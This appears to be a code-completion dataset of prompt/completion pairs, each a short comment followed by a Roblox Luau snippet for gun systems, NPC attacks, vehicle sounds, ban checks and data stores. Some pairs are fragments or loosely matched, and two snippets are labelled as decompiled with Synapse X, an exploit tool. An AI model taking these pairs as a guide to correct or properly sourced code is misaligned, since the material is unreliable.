prompt
stringlengths 2
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stringlengths 1
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---|---|
-- Carregue a animação do ReplicatedStorage
|
local rp = game:GetService("ReplicatedStorage")
local viewmodel = rp.Main.bracos.braco_usp
viewmodel.Parent = workspace.Camera
local idleAnimation = viewmodel.AnimSaves.idle
|
----------------------------------------------------------------------------------------------------
--------------------=[ CFRAME ]=--------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
,EnableHolster = true
,HolsterTo = 'Torso' -- Put the name of the body part you wanna holster to
,HolsterPos = CFrame.new(1.2, -1, 0.1) * CFrame.Angles(math.rad(-110), math.rad(0), math.rad(0))
,RightArmPos = CFrame.new(-0.575, 0.65, -1.185) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)) --Server
,LeftArmPos = CFrame.new(1.15,-0.1,-1.65) * CFrame.Angles(math.rad(-120),math.rad(20),math.rad(-25)) --server
,ServerGunPos = CFrame.new(-.3, -1, -0.4) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))
,GunPos = CFrame.new(0.15, -0.15, 1) * CFrame.Angles(math.rad(90), math.rad(0), math.rad(0))
,RightPos = CFrame.new(-0.3,.4, -.6) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)) --Client
,LeftPos = CFrame.new(.3,-0.2,-1.35) * CFrame.Angles(math.rad(-130),math.rad(20),math.rad(10)) --Client
}
return Config
|
--// Body Parts
|
local L_11_ = L_2_:WaitForChild('Humanoid')
local L_12_ = L_2_:WaitForChild('HumanoidRootPart')
local L_13_ = L_2_:WaitForChild('Head')
|
-- Detect when prompt is triggered
|
local function onPromptTriggered(promptObject, player)
ObjectActions.promptTriggeredActions(promptObject, player)
end
|
--- Add a task to clean up. Tasks given to a maid will be cleaned when
-- maid[index] is set to a different value.
-- @usage
-- Maid[key] = (function) Adds a task to perform
-- Maid[key] = (event connection) Manages an event connection
-- Maid[key] = (Maid) Maids can act as an event connection, allowing a Maid to have other maids to clean up.
-- Maid[key] = (Object) Maids can cleanup objects with a `Destroy` method
-- Maid[key] = nil Removes a named task. If the task is an event, it is disconnected. If it is an object,
-- it is destroyed.
|
function Maid:__newindex(index, newTask)
if Maid[index] ~= nil then
error(("'%s' is reserved"):format(tostring(index)), 2)
end
local tasks = self._tasks
local oldTask = tasks[index]
if oldTask == newTask then
return
end
tasks[index] = newTask
if oldTask then
if type(oldTask) == "function" then
oldTask()
elseif typeof(oldTask) == "RBXScriptConnection" then
oldTask:Disconnect()
elseif oldTask.Destroy then
oldTask:Destroy()
end
end
end
|
-- slash1
|
Attack(target,structureDamage)
end
wait(.3)
end
end
else
if not enRoute then
wait(math.random(1,4))
if not target then
ScanForPoint()
end
end
end
wait()
end -- end of loop
end)
movementCoroutine()
local scanCoroutine = coroutine.wrap(function()
while task.wait(3) do
local nearestPlayer,closestPlayerDist = nil,60
local nearestBuilding,closestBuildingDist = nil, 100
for _,player in next,game.Players:GetPlayers() do
if player.Character and player.Character:IsDescendantOf(workspace) then
local pos = player.Character.PrimaryPart.Position
local dist = (root.Position-pos).magnitude
if dist < closestPlayerDist then
nearestPlayer = player
closestPlayerDist = dist
end
end
game:GetService("RunService").Heartbeat:wait()
end
local structures = _G.worldStructures
for building,buildingData in next,structures do
local dist = (building.PrimaryPart.Position-root.Position).magnitude
if dist < closestBuildingDist then
nearestBuilding = building
closestBuildingDist = dist
end
game:GetService("RunService").Heartbeat:wait()
end
if nearestPlayer and nearestBuilding then
|
--------LIGHTED RECTANGLES--------
|
game.Workspace.pillar1.BrickColor = BrickColor.new(194)
game.Workspace.pillar2.BrickColor = BrickColor.new(194)
game.Workspace.pillar3.BrickColor = BrickColor.new(194)
game.Workspace.pillar4.BrickColor = BrickColor.new(194)
game.Workspace.pillar5.BrickColor = BrickColor.new(194)
game.Workspace.pillar6.BrickColor = BrickColor.new(194)
game.Workspace.pillar7.BrickColor = BrickColor.new(194)
game.Workspace.pillar8.BrickColor = BrickColor.new(194)
|
--[[Tires]]--
-- Tire Curve Profiler: https://www.desmos.com/calculator/og4x1gyzng
|
Tune.TireCylinders = 4 -- How many cylinders are used for the tires. More means a smoother curve but way more parts meaning lag. (Default = 4)
Tune.TiresVisible = false -- Makes the tires visible (Debug)
|
--[[
Event functions
]]
|
local function onHeartbeat()
if target then
-- Point towards the enemy
maid.alignOrientation.Enabled = true
maid.worldAttachment.CFrame = CFrame.new(maid.humanoidRootPart.Position, target.Position)
else
maid.alignOrientation.Enabled = false
end
if target then
local inAttackRange = (target.Position - maid.humanoidRootPart.Position).magnitude <= ATTACK_RANGE + 1
if inAttackRange then
if not attacking and tick() - lastAttackTime > ATTACK_DELAY then
attack()
end
else
runToTarget()
end
end
-- Check if the current target no longer exists or is not attackable
if not target or not isInstaceAttackable(target) then
findTargets()
end
end
local function died()
target = nil
attacking = false
newTarget = nil
searchParts = nil
searchingForTargets = false
maid.heartbeatConnection:Disconnect()
maid.humanoidRootPart.Anchored = true
maid.deathAnimation:Play()
wait(maid.deathAnimation.Length * 0.65)
maid.deathAnimation:Stop()
maid.humanoidRootPart.Anchored = false
if RAGDOLL_ENABLED then
Ragdoll(maid.instance, maid.humanoid)
end
if DESTROY_ON_DEATH then
delay(DEATH_DESTROY_DELAY, function()
destroy()
end)
end
end
|
--[[
Converts a yielding function into a Promise-returning one.
]]
|
function Promise.promisify(callback)
return function(...)
return Promise._try(debug.traceback(nil, 2), callback, ...)
end
end
Promise.Promisify = Promise.promisify
|
----- Bath water level and temp handler -----
|
while true do
if script.Parent.HotOn.Value == true and script.Parent.ColdOn.Value == true and script.Parent.Plugged.Value == true and water.Scale.Y <= 2.5 then -- if BOTH ON and PLUGGED
water.Scale = water.Scale + Vector3.new(0,0.01,0)
water.Offset = Vector3.new(0,water.Scale.Y/2,0)
hotWater = hotWater + 1
coldWater = coldWater + 1
drainSound:Stop()
elseif (script.Parent.HotOn.Value == true or script.Parent.ColdOn.Value == true) and script.Parent.Plugged.Value == true and water.Scale.Y <= 2.5 then -- if ON and PLUGGED
water.Scale = water.Scale + Vector3.new(0,0.01,0)
water.Offset = Vector3.new(0,water.Scale.Y/2,0)
if script.Parent.HotOn.Value == true then
hotWater = hotWater + 1
else
coldWater = coldWater + 1
end
drainSound:Stop()
elseif (script.Parent.HotOn.Value == true or script.Parent.ColdOn.Value == true) and script.Parent.Plugged.Value == false and water.Scale.Y <= 2.5 then -- if ON and NOT PLUGGED
if script.Parent.HotOn.Value == true then
coldWater = coldWater - 1
else
hotWater = hotWater - 1
end
drainSound:Stop()
elseif (script.Parent.HotOn.Value == false and script.Parent.ColdOn.Value == false) and script.Parent.Plugged.Value == false and water.Scale.Y > 0 then -- if NOT ON and NOT PLUGGED
water.Scale = water.Scale + Vector3.new(0,-0.01,0)
water.Offset = Vector3.new(0,water.Scale.Y/2,0)
coldWater = coldWater - 1
hotWater = hotWater - 1
drainSound:Play()
end
if coldWater < 1 then
coldWater = 1
end
if hotWater < 1 then
hotWater = 1
end
waterTemp = hotWater/coldWater
if waterTemp > 1 then
water.Parent.SteamEmitter.Enabled = true
else
water.Parent.SteamEmitter.Enabled = false
end
wait(0.1)
if water.Scale.Y <= 0 then
drainSound:Stop()
end
if (script.Parent.ColdOn.Value == true or script.Parent.HotOn.Value == true) and script.Parent.ShowerMode.Value == false then
script.Parent.Splash.ParticleEmitter.Enabled = true
else
script.Parent.Splash.ParticleEmitter.Enabled = false
end
end
|
-- Adds verbose console logging for e.g. state updates, suspense, and work loop stuff.
-- Intended to enable React core members to more easily debug scheduling issues in DEV builds.
|
exports.enableDebugTracing = false
|
--[[Manage Plugins]]
|
script.Parent.Interface:WaitForChild("Bike").Value=bike
for i,v in pairs(script.Parent.Plugins:GetChildren()) do
for _,a in pairs(v:GetChildren()) do
if a:IsA("RemoteEvent") or a:IsA("RemoteFunction") then
a.Parent=bike
for _,b in pairs(a:GetChildren()) do
if b:IsA("Script") then b.Disabled=false end
end
end
end
v.Parent = script.Parent.Interface
end
script.Parent.Plugins:Destroy()
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]]
|
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local _Tune = require(car["A-Chassis Tune"])
local on = 0
script:WaitForChild("Wheel")
if not FE then
for i,v in pairs(car.Body.WHEEL:GetChildren()) do
for _,a in pairs(script:GetChildren()) do
if v.Name==a.Name then v:Stop() wait() v:Destroy() end
end
end
for i,v in pairs(script:GetChildren()) do
v.Parent=car.Body.WHEEL
end
car.Body.WHEEL.Wheel:Play()
while wait() do
local _RPM = script.Parent.Values.RPM.Value
if not car.DriveSeat.IsOn.Value then on=math.max(on-.015,0) else on=1 end
car.Body.WHEEL.Wheel.Pitch = (car.Body.WHEEL.Wheel.SetPitch.Value + car.Body.WHEEL.Wheel.SetRev.Value*_RPM/_Tune.Redline)*on^2
if _RPM == 700 then
car.Body.WHEEL.Wheel.Volume = 0.1
end
end
else
local handler = car.AC6_FE_Sounds
handler:FireServer("newSound","Wheel",car.Body.WHEEL,script.Wheel.SoundId,0,script.Wheel.Volume,true)
handler:FireServer("playSound","Wheel")
local pitch4=0
while wait() do
local _RPM = script.Parent.Values.RPM.Value
if not car.DriveSeat.IsOn.Value then on=math.max(on-.015,0) else on=1 end
pitch4 = (script.Wheel.SetPitch.Value + script.Wheel.SetRev.Value*_RPM/_Tune.Redline)*on^2
handler:FireServer("updateSound","Wheel",script.idle.SoundId,pitch4,script.Wheel.Volume)
end
end
|
-- DefaultValue for spare ammo
|
local SpareAmmo = 800
|
-- Developer : AinStrqfe
-- Developer : AinStrqfe
-- Developer : AinStrqfe
| |
--// Walk and Sway
|
local L_133_
local L_134_ = 0.6
local L_135_ = 0.05 -- speed
local L_136_ = -0.1 -- height
local L_137_ = 0
local L_138_ = 0
local L_139_ = 35 --This is the limit of the mouse input for the sway
local L_140_ = -9 --This is the magnitude of the sway when you're unaimed
local L_141_ = -9 --This is the magnitude of the sway when you're aimed
|
-- Decompiled with the Synapse X Luau decompiler.
|
local l__LocalPlayer__1 = game.Players.LocalPlayer;
local v2 = {};
local l__LocalPlayer__3 = game.Players.LocalPlayer;
local v4 = require(game:GetService("ReplicatedStorage"):WaitForChild("ReplicaDataModule"));
v2.value = 250;
v2.event = v4.event.Boosts;
v4.event.Boosts.Event:connect(function(p1)
if type(p1) == "number" then
v2.value = p1;
return;
end;
v2.value = 250;
end);
v2.value = v4.data.Boosts;
return v2;
|
--// Connections
|
L_108_.OnClientEvent:connect(function(L_191_arg1, L_192_arg2, L_193_arg3, L_194_arg4, L_195_arg5, L_196_arg6, L_197_arg7)
if L_191_arg1 and not L_15_ then
MakeFakeArms()
L_42_ = L_2_.PlayerGui.MainGui
L_26_ = L_42_:WaitForChild('Others')
L_27_ = L_26_:WaitForChild('Kill')
L_28_ = L_42_:WaitForChild('GameGui'):WaitForChild('AmmoFrame')
L_29_ = L_28_:WaitForChild('Ammo')
L_30_ = L_28_:WaitForChild('AmmoBackground')
L_31_ = L_28_:WaitForChild('MagCount')
L_32_ = L_28_:WaitForChild('MagCountBackground')
L_33_ = L_28_:WaitForChild('DistDisp')
L_34_ = L_28_:WaitForChild('Title')
L_35_ = L_28_:WaitForChild('Mode1')
L_36_ = L_28_:WaitForChild('Mode2')
L_37_ = L_28_:WaitForChild('Mode3')
L_38_ = L_28_:WaitForChild('Mode4')
L_39_ = L_28_:WaitForChild('Mode5')
L_40_ = L_28_:WaitForChild('Stances')
L_41_ = L_42_:WaitForChild('Shading')
L_41_.Visible = false
L_34_.Text = L_1_.Name
UpdateAmmo()
L_43_ = L_192_arg2
L_44_ = L_193_arg3
L_45_ = L_194_arg4
L_46_ = L_195_arg5
L_47_ = L_196_arg6
L_48_ = L_197_arg7
L_49_ = L_62_.Bolt
L_87_ = L_48_.C1
L_88_ = L_48_.C0
if L_1_:FindFirstChild('AimPart2') then
L_57_ = L_1_:WaitForChild('AimPart2')
end
if L_1_:FindFirstChild('FirePart2') then
L_60_ = L_1_.FirePart2
end
if L_24_.FirstPersonOnly then
L_2_.CameraMode = Enum.CameraMode.LockFirstPerson
end
--uis.MouseIconEnabled = false
L_5_.FieldOfView = 70
L_15_ = true
elseif L_15_ then
if L_3_ and L_3_.Humanoid and L_3_.Humanoid.Health > 0 and L_9_ then
Stand()
Unlean()
end
L_93_ = 0
L_80_ = false
L_81_ = false
L_82_ = false
L_64_ = false
L_67_ = false
L_66_ = false
Shooting = false
L_97_ = 70
RemoveArmModel()
L_42_:Destroy()
for L_198_forvar1, L_199_forvar2 in pairs(IgnoreList) do
if L_199_forvar2 ~= L_3_ and L_199_forvar2 ~= L_5_ and L_199_forvar2 ~= L_101_ then
table.remove(IgnoreList, L_198_forvar1)
end
end
if L_3_:FindFirstChild('Right Arm') and L_3_:FindFirstChild('Left Arm') then
L_3_['Right Arm'].LocalTransparencyModifier = 0
L_3_['Left Arm'].LocalTransparencyModifier = 0
end
L_78_ = false
L_69_ = true
L_2_.CameraMode = Enum.CameraMode.Classic
L_107_.MouseIconEnabled = true
L_5_.FieldOfView = 70
L_15_ = false
L_107_.MouseDeltaSensitivity = L_52_
L_4_.Icon = ""
L_15_ = false
L_4_.TargetFilter = nil
end
end)
|
--Make sure players stay banned.
|
local DataStore = game:GetService("DataStoreService"):GetDataStore("motfAdminPanel")
function checkBan(player)
local Reason = DataStore:GetAsync(string.lower(player.Name))
if Reason == nil or Reason == 0 then
return
end
wait(1)
if Reason == 1 then
player:Kick("You are banned")
else
player:Kick("You are banned for the following reason: " .. Reason)
end
end
game.Players.PlayerAdded:connect(checkBan)
|
--redgreen -xmas
|
script.Parent.Color = randval2 --Color3.new(math.random(), math.random(), math.random())
wait(0.5)
script.Parent.Color = randval1 --Color3.new(math.random(), math.random(), math.random())
wait(0.5)
mode9()
end
function mode10()
|
--print(GBCF(n.CFrame,v[1].p))
|
pcall(function() n.CFrame = GBCF(n.CFrame,v[1].p)*(v[1]-v[1].p) end)
end
end
wait()
end
end
Finished = Finished+1
|
-- Get the StarterGui
|
local StarterGui = game.StarterGui
|
-- API
|
local Core = require(Tool.Core)
local Selection = Core.Selection
|
--------------------) Settings
|
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 1 -- cooldown for use of the tool again
BoneModelName = "Fork" -- name the zone model
HumanoidName = "Humanoid"-- the name of player or mob u want to damage
|
-- A very simple module that only gives the included tools to people inside of the groupID.
-- Just place the
|
local module = {}
local function dostuff(p, core)
--print("new player")
local rank = core.getPlayerRank(p)
--print(rank)
if rank ~= 0 then
p.CharacterAdded:Connect(function()
--print("new char")
for i, v in pairs(script:GetChildren()) do
v:Clone().Parent = p.Backpack
end
end)
-- for first spawn
--print("first spawn")
for i, v in pairs(script:GetChildren()) do
v:Clone().Parent = p.Backpack
end
end
end
function module.loadServer(core)
--print(core)
game:GetService("Players").PlayerAdded:Connect(function(p)
dostuff(p, core)
end)
for i, v in pairs(game:GetService("Players"):GetChildren()) do -- first load
dostuff(v, core)
end
end
return module
|
--//=================================\\
--|| FUNCTIONS
--\\=================================//
|
function CreatePart(FORMFACTOR, PARENT, MATERIAL, REFLECTANCE, TRANSPARENCY, BRICKCOLOR, NAME, SIZE, ANCHOR)
local NEWPART = IT("Part")
NEWPART.formFactor = FORMFACTOR
NEWPART.Reflectance = REFLECTANCE
NEWPART.Transparency = TRANSPARENCY
NEWPART.CanCollide = false
NEWPART.Locked = true
NEWPART.Anchored = true
if ANCHOR == false then
NEWPART.Anchored = false
end
NEWPART.BrickColor = BRICKC(tostring(BRICKCOLOR))
NEWPART.Name = NAME
NEWPART.Size = SIZE
NEWPART.Position = TORSO.Position
NEWPART.Material = MATERIAL
NEWPART:BreakJoints()
NEWPART.Parent = PARENT
return NEWPART
end
function Raycast(POSITION, DIRECTION, RANGE, IGNOREDECENDANTS)
return workspace:FindPartOnRay(Ray.new(POSITION, DIRECTION.unit * RANGE), IGNOREDECENDANTS)
end
|
--I M P O R T A N T--
------------------------------------------------------------------------
--Don't change any of this unless you know what you are doing.
--This script is the blur affect but also the exit button script.
------------------------------------------------------------------------
|
local blur = game.Lighting.Blur
local frame = script.Parent
local close = script.Parent.CloseButton
if
frame.Visible == true
then
blur.Enabled = true
end
close.MouseButton1Click:Connect(function()
frame.Visible = false
end)
close.MouseButton1Click:Connect(function()
blur.Enabled = false
end)
|
--local Sprinting =false
|
local L_142_ = L_118_.new(Vector3.new())
L_142_.s = 15
L_142_.d = 0.5
game:GetService("UserInputService").InputChanged:connect(function(L_269_arg1) --Get the mouse delta for the gun sway
if L_269_arg1.UserInputType == Enum.UserInputType.MouseMovement then
L_137_ = math.min(math.max(L_269_arg1.Delta.x, -L_139_), L_139_)
L_138_ = math.min(math.max(L_269_arg1.Delta.y, -L_139_), L_139_)
end
end)
L_4_.Idle:connect(function() --Reset the sway to 0 when the mouse is still
L_137_ = 0
L_138_ = 0
end)
local L_143_ = false
local L_144_ = CFrame.new()
local L_145_ = CFrame.new()
local L_146_ = 0
local L_147_ = CFrame.new()
local L_148_ = 0.1
local L_149_ = 2
local L_150_ = 0
local L_151_ = .2
local L_152_ = 17
local L_153_ = 0
local L_154_ = 5
local L_155_ = .3
local L_156_, L_157_ = 0, 0
local L_158_ = nil
local L_159_ = nil
local L_160_ = nil
L_3_.Humanoid.Running:connect(function(L_270_arg1)
if L_270_arg1 > 1 then
L_143_ = true
else
L_143_ = false
end
end)
|
--local GUI = script.LoadingScreen:Clone()
--GUI.Parent = PlayerGui
| |
-- Public Functions
|
function PlayerManager:SetGameRunning(running)
GameRunning = running
end
function PlayerManager:ClearPlayerScores()
for _, player in ipairs(Players:GetPlayers()) do
local leaderstats = player:FindFirstChild('leaderstats')
if leaderstats then
local Captures = leaderstats:FindFirstChild('Captures')
if Captures then
Captures.Value = 0
end
end
end
end
function PlayerManager:LoadPlayers()
for _, player in ipairs(Players:GetPlayers()) do
player:LoadCharacter()
end
end
function PlayerManager:AllowPlayerSpawn(allow)
PlayersCanSpawn = allow
end
function PlayerManager:DestroyPlayers()
for _, player in ipairs(Players:GetPlayers()) do
player.Character:Destroy()
for _, item in ipairs(player.Backpack:GetChildren()) do
item:Destroy()
end
end
ResetMouseIcon:FireAllClients()
end
function PlayerManager:AddPlayerScore(player, score)
player.leaderstats.Captures.Value = player.leaderstats.Captures.Value + score
local success, message = pcall(function() spawn(function() PointsService:AwardPoints(player.userId, score) end) end)
end
|
--
|
TCS.OnIncomingMessage = function(Msg)
if Msg.Metadata then
local overrideProperties = Instance.new("TextChatMessageProperties")
overrideProperties.Text = Msg.Text
return overrideProperties
else
-- do nothing
return nil
end
end
|
--[[
DataStore2: A wrapper for data stores that caches, saves player's data, and uses berezaa's method of saving data.
Use require(1936396537) to have an updated version of DataStore2.
DataStore2(dataStoreName, player) - Returns a DataStore2 DataStore
DataStore2 DataStore:
- Get([defaultValue])
- Set(value)
- Update(updateFunc)
- Increment(value, defaultValue)
- BeforeInitialGet(modifier)
- BeforeSave(modifier)
- Save()
- OnUpdate(callback)
- BindToClose(callback)
local coinStore = DataStore2("Coins", player)
To give a player coins:
coinStore:Increment(50)
To get the current player's coins:
coinStore:Get()
--]]
| |
--// Recoil Settings
|
gunrecoil = -0.3; -- How much the gun recoils backwards when not aiming
camrecoil = 0.03; -- How much the camera flicks when not aiming
AimGunRecoil = -0.3; -- How much the gun recoils backwards when aiming
AimCamRecoil = 0.01; -- How much the camera flicks when aiming
Kickback = 3; -- Upward gun rotation when not aiming
AimKickback = 2; -- Upward gun rotation when aiming
|
--[=[
Provide a variety of utility table operations
@class Table
]=]
|
local Table = {}
|
--Loop For Making Rays For The Bullet's Trajectory
|
local fallOfShot = 4.75
for i = 1, 120 do
local thisOffset = offset + Vector3.new(0, yOffset*(i-fallOfShot), 0)
local travelRay = Ray.new(point1,thisOffset)
local hit, position = workspace:FindPartOnRay(travelRay, parts.Parent)
local distance = (position - point1).magnitude
round.Size = Vector3.new(1.1, distance, 1.1)
round.CFrame = CFrame.new(position, point1)
* CFrame.new(0, 0, -distance/2)
* CFrame.Angles(math.rad(90),0,0)
round.Parent = workspace
point1 = point1 + thisOffset
if hit then
round:remove()
local e = Instance.new("Explosion")
e.BlastRadius = 5
e.BlastPressure = 10
e.Position = position
e.Parent = workspace
e.DestroyJointRadiusPercent = 0
if hit and hit.Parent then
if hit.Parent:FindFirstChild("Humanoid") then
return hit.Parent.Humanoid
elseif hit.Parent.Parent:FindFirstChild("Humanoid") then
return hit.Parent.Parent.Humanoid
elseif (hit.Parent.Name == "Hull") or (hit.Parent.Name == "Turret") or (hit.Parent.Name == "Gun") or (hit.Parent.Name == "Parts") then
print("You Have Damaged a Vehicle")
local HitSound = hit.Parent:findFirstChild("Pen"):Clone()
HitSound.Parent = hit
HitSound:Play()
hit.Parent.Parent:findFirstChild("Damage").Value = hit.Parent.Parent:findFirstChild("Damage").Value - damage
if hit.Parent.Parent:findFirstChild("Damage").Value<1 and hit.Parent.Parent:findFirstChild("Destroyed").Value == false then
local DestroyScript = hit.Parent.Parent:findFirstChild("DestroyScript"):clone()
DestroyScript.Parent = hit.Parent.Parent
DestroyScript.Disabled = false
print("Vehicle Disabled")
end
elseif hit.Name == "Left Arm" or hit.Name == "Left Leg" or hit.Name == "Right Arm" or hit.Name == "Right Leg" or hit.Name == "Torso" or hit.Name == "HumanoidRootPart" then
hit.Parent:findFirstChild("Humanoid").Health = hit.Parent:findFirstChild("Humanoid").Health - damage
print("Direct Hit a Player lmao")
elseif hit.Parent.Name == "Face" then
hit.Parent.Parent:findFirstChild("Humanoid").Health = hit.Parent.Parent:findFirstChild("Humanoid").Health - dealingdamage
print("Direct Hit a Morph of a Player lmao")
end
end
local players = game.Players:getChildren()
for i = 1, #players do
-- if players[i].TeamColor ~= script.Parent.Parent.Tank.Value then --if he's not an ally
character = players[i].Character
torso = character:findFirstChild'Torso'
if character and torso then
torsoPos = torso.Position
origPos = round.Position
local ray = Ray.new(origPos, torsoPos-origPos)
local hit, position = game.Workspace:FindPartOnRayWithIgnoreList(ray,ignoreList)
if hit then
if hit.Parent == character then
human = hit.Parent:findFirstChild("Humanoid")
human2 = hit.Parent.Parent:findFirstChild("Humanoid")
if human then
distance = (position-origPos).magnitude
|
-- Tell owner to show footsteps
|
game.ReplicatedStorage.Interactions.Client.Perks.UseXRay:FireClient(script.Owner.Value)
|
-- Decompiled with the Synapse X Luau decompiler.
|
local v1 = {};
v1.__index = v1;
local l__Players__2 = game:GetService("Players");
local l__RunService__3 = game:GetService("RunService");
local l__UserInputService__4 = game:GetService("UserInputService");
local l__Workspace__5 = game:GetService("Workspace");
local l__UserGameSettings__6 = UserSettings():GetService("UserGameSettings");
local l__VRService__7 = game:GetService("VRService");
local v8 = require(script:WaitForChild("Keyboard"));
local v9 = require(script:WaitForChild("Gamepad"));
local v10 = require(script:WaitForChild("DynamicThumbstick"));
local v11, v12 = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserFlagEnableNewVRSystem");
end);
local v13, v14 = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserMakeThumbstickDynamic");
end);
local v15 = (v13 or v14) and v10 or require(script:WaitForChild("TouchThumbstick"));
local v16 = require(script:WaitForChild("ClickToMoveController"));
local u1 = require(script:WaitForChild("VehicleController"));
local l__Value__2 = Enum.ContextActionPriority.Default.Value;
function v1.new()
local v17 = setmetatable({}, v1);
v17.controllers = {};
v17.activeControlModule = nil;
v17.activeController = nil;
v17.touchJumpController = nil;
v17.moveFunction = l__Players__2.LocalPlayer.Move;
v17.humanoid = nil;
v17.lastInputType = Enum.UserInputType.None;
v17.humanoidSeatedConn = nil;
v17.vehicleController = nil;
v17.touchControlFrame = nil;
v17.vehicleController = u1.new(l__Value__2);
l__Players__2.LocalPlayer.CharacterAdded:Connect(function(p1)
v17:OnCharacterAdded(p1);
end);
l__Players__2.LocalPlayer.CharacterRemoving:Connect(function(p2)
v17:OnCharacterRemoving(p2);
end);
if l__Players__2.LocalPlayer.Character then
v17:OnCharacterAdded(l__Players__2.LocalPlayer.Character);
end;
l__RunService__3:BindToRenderStep("ControlScriptRenderstep", Enum.RenderPriority.Input.Value, function(p3)
v17:OnRenderStepped(p3);
end);
l__UserInputService__4.LastInputTypeChanged:Connect(function(p4)
v17:OnLastInputTypeChanged(p4);
end);
l__UserGameSettings__6:GetPropertyChangedSignal("TouchMovementMode"):Connect(function()
v17:OnTouchMovementModeChange();
end);
l__Players__2.LocalPlayer:GetPropertyChangedSignal("DevTouchMovementMode"):Connect(function()
v17:OnTouchMovementModeChange();
end);
l__UserGameSettings__6:GetPropertyChangedSignal("ComputerMovementMode"):Connect(function()
v17:OnComputerMovementModeChange();
end);
l__Players__2.LocalPlayer:GetPropertyChangedSignal("DevComputerMovementMode"):Connect(function()
v17:OnComputerMovementModeChange();
end);
v17.playerGui = nil;
v17.touchGui = nil;
v17.playerGuiAddedConn = nil;
l__UserInputService__4:GetPropertyChangedSignal("ModalEnabled"):Connect(function()
v17:UpdateTouchGuiVisibility();
end);
if not l__UserInputService__4.TouchEnabled then
v17:OnLastInputTypeChanged(l__UserInputService__4:GetLastInputType());
return v17;
end;
v17.playerGui = l__Players__2.LocalPlayer:FindFirstChildOfClass("PlayerGui");
if not v17.playerGui then
v17.playerGuiAddedConn = l__Players__2.LocalPlayer.ChildAdded:Connect(function(p5)
if p5:IsA("PlayerGui") then
v17.playerGui = p5;
v17:CreateTouchGuiContainer();
v17.playerGuiAddedConn:Disconnect();
v17.playerGuiAddedConn = nil;
v17:OnLastInputTypeChanged(l__UserInputService__4:GetLastInputType());
end;
end);
return v17;
end;
v17:CreateTouchGuiContainer();
v17:OnLastInputTypeChanged(l__UserInputService__4:GetLastInputType());
return v17;
end;
function v1.GetMoveVector(p6)
if not p6.activeController then
return Vector3.new(0, 0, 0);
end;
return p6.activeController:GetMoveVector();
end;
function v1.GetActiveController(p7)
return p7.activeController;
end;
function v1.EnableActiveControlModule(p8)
if p8.activeControlModule == v16 then
p8.activeController:Enable(true, l__Players__2.LocalPlayer.DevComputerMovementMode == Enum.DevComputerMovementMode.UserChoice, p8.touchJumpController);
return;
end;
if not p8.touchControlFrame then
p8.activeController:Enable(true);
return;
end;
p8.activeController:Enable(true, p8.touchControlFrame);
end;
function v1.Enable(p9, p10)
if not p9.activeController then
return;
end;
if p10 == nil then
p10 = true;
end;
if p10 then
p9:EnableActiveControlModule();
return;
end;
p9:Disable();
end;
function v1.Disable(p11)
if p11.activeController then
p11.activeController:Enable(false);
if p11.moveFunction then
p11.moveFunction(l__Players__2.LocalPlayer, Vector3.new(0, 0, 0), true);
end;
end;
end;
local u3 = {
[Enum.UserInputType.Keyboard] = v8,
[Enum.UserInputType.MouseButton1] = v8,
[Enum.UserInputType.MouseButton2] = v8,
[Enum.UserInputType.MouseButton3] = v8,
[Enum.UserInputType.MouseWheel] = v8,
[Enum.UserInputType.MouseMovement] = v8,
[Enum.UserInputType.Gamepad1] = v9,
[Enum.UserInputType.Gamepad2] = v9,
[Enum.UserInputType.Gamepad3] = v9,
[Enum.UserInputType.Gamepad4] = v9
};
local u4 = nil;
local u5 = {
[Enum.TouchMovementMode.DPad] = v10,
[Enum.DevTouchMovementMode.DPad] = v10,
[Enum.TouchMovementMode.Thumbpad] = v10,
[Enum.DevTouchMovementMode.Thumbpad] = v10,
[Enum.TouchMovementMode.Thumbstick] = v15,
[Enum.DevTouchMovementMode.Thumbstick] = v15,
[Enum.TouchMovementMode.DynamicThumbstick] = v10,
[Enum.DevTouchMovementMode.DynamicThumbstick] = v10,
[Enum.TouchMovementMode.ClickToMove] = v16,
[Enum.DevTouchMovementMode.ClickToMove] = v16,
[Enum.TouchMovementMode.Default] = v10,
[Enum.ComputerMovementMode.Default] = v8,
[Enum.ComputerMovementMode.KeyboardMouse] = v8,
[Enum.DevComputerMovementMode.KeyboardMouse] = v8,
[Enum.DevComputerMovementMode.Scriptable] = nil,
[Enum.ComputerMovementMode.ClickToMove] = v16,
[Enum.DevComputerMovementMode.ClickToMove] = v16
};
function v1.SelectComputerMovementModule(p12)
if not l__UserInputService__4.KeyboardEnabled and not l__UserInputService__4.GamepadEnabled then
return nil, false;
end;
local l__DevComputerMovementMode__18 = l__Players__2.LocalPlayer.DevComputerMovementMode;
if l__DevComputerMovementMode__18 == Enum.DevComputerMovementMode.UserChoice then
local v19 = u3[u4];
if l__UserGameSettings__6.ComputerMovementMode == Enum.ComputerMovementMode.ClickToMove and v19 == v8 then
v19 = v16;
end;
else
v19 = u5[l__DevComputerMovementMode__18];
if not v19 and l__DevComputerMovementMode__18 ~= Enum.DevComputerMovementMode.Scriptable then
warn("No character control module is associated with DevComputerMovementMode ", l__DevComputerMovementMode__18);
end;
end;
if v19 then
return v19, true;
end;
if l__DevComputerMovementMode__18 == Enum.DevComputerMovementMode.Scriptable then
return nil, true;
end;
return nil, false;
end;
function v1.SelectTouchModule(p13)
if not l__UserInputService__4.TouchEnabled then
return nil, false;
end;
local l__DevTouchMovementMode__20 = l__Players__2.LocalPlayer.DevTouchMovementMode;
if l__DevTouchMovementMode__20 == Enum.DevTouchMovementMode.UserChoice then
local v21 = u5[l__UserGameSettings__6.TouchMovementMode];
else
if l__DevTouchMovementMode__20 == Enum.DevTouchMovementMode.Scriptable then
return nil, true;
end;
v21 = u5[l__DevTouchMovementMode__20];
end;
return v21, true;
end;
local u6 = v11 or v12;
local function u7(p14, p15)
local l__CurrentCamera__22 = l__Workspace__5.CurrentCamera;
if not l__CurrentCamera__22 then
return p15;
end;
if p14:GetState() == Enum.HumanoidStateType.Swimming then
